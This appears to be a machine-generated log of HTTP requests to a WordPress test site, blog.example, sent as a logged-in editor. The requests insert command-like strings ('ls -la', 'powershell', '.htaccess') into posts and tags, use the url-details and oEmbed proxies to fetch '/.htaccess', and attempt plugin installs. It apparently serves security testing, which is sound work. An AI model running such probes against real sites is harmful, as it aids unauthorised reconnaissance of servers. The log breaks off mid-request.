+{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 30", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"title\":\"Hello world\"}"} +{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 32", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"excerpt\":\"Hello world\"}"} +{"method": "POST", "target": "/wp-json/wp/v2/tags?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 22", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"name\":\"Hello world\"}"} +{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 26", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"title\":\"python3\"}"} +{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 28", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"excerpt\":\"python3\"}"} +{"method": "POST", "target": "/wp-json/wp/v2/tags?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 18", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"name\":\"python3\"}"} +{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 29", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"title\":\"powershell\"}"} +{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 31", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"excerpt\":\"powershell\"}"} +{"method": "POST", "target": "/wp-json/wp/v2/tags?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 21", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"name\":\"powershell\"}"} +{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 25", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"title\":\"ls -la\"}"} +{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 27", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"excerpt\":\"ls -la\"}"} +{"method": "POST", "target": "/wp-json/wp/v2/tags?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 17", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"name\":\"ls -la\"}"} +{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 28", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"title\":\".htaccess\"}"} +{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 30", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"excerpt\":\".htaccess\"}"} +{"method": "POST", "target": "/wp-json/wp/v2/tags?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 20", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"name\":\".htaccess\"}"} +{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 29", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"slug\":\"hello-world\"}"} +{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 25", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"slug\":\"python3\"}"} +{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 28", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"slug\":\"powershell\"}"} +{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 23", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"slug\":\"ls-la\"}"} +{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 26", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"slug\":\"htaccess\"}"} +{"method": "GET", "target": "/wp-json/wp-block-editor/v1/url-details?url=http%3A%2F%2Fblog.example%2Fhello-world%2F&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: f6c0bd81d0", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": ""} +{"method": "GET", "target": "/wp-json/oembed/1.0/proxy?url=http%3A%2F%2Fblog.example%2Fhello-world%2F&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: f6c0bd81d0", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": ""} +{"method": "GET", "target": "/wp-json/wp-block-editor/v1/url-details?url=http%3A%2F%2Fblog.example%2Fpython3%2F&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: f6c0bd81d0", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": ""} +{"method": "GET", "target": "/wp-json/oembed/1.0/proxy?url=http%3A%2F%2Fblog.example%2Fpython3%2F&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: f6c0bd81d0", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": ""} +{"method": "GET", "target": "/wp-json/wp-block-editor/v1/url-details?url=http%3A%2F%2Fblog.example%2Fpowershell-basics%2F&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: f6c0bd81d0", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": ""} +{"method": "GET", "target": "/wp-json/oembed/1.0/proxy?url=http%3A%2F%2Fblog.example%2Fpowershell-basics%2F&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: f6c0bd81d0", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": ""} +{"method": "GET", "target": "/wp-json/wp-block-editor/v1/url-details?url=http%3A%2F%2Fblog.example%2Fls-la%2F&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: f6c0bd81d0", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": ""} +{"method": "GET", "target": "/wp-json/oembed/1.0/proxy?url=http%3A%2F%2Fblog.example%2Fls-la%2F&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: f6c0bd81d0", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": ""} +{"method": "GET", "target": "/wp-json/wp-block-editor/v1/url-details?url=http%3A%2F%2Fblog.example%2F.htaccess&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: f6c0bd81d0", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": ""} +{"method": "GET", "target": "/wp-json/oembed/1.0/proxy?url=http%3A%2F%2Fblog.example%2F.htaccess&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: f6c0bd81d0", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": ""} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 134", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251855"], "body": "slug=hello-dolly&action=install-plugin&_ajax_nonce=61c8a7b528&_fs_nonce=&username=&password=&connection_type=&public_key=&private_key="} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 130", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251855"], "body": "slug=python3&action=install-plugin&_ajax_nonce=61c8a7b528&_fs_nonce=&username=&password=&connection_type=&public_key=&private_key="} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 133", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; 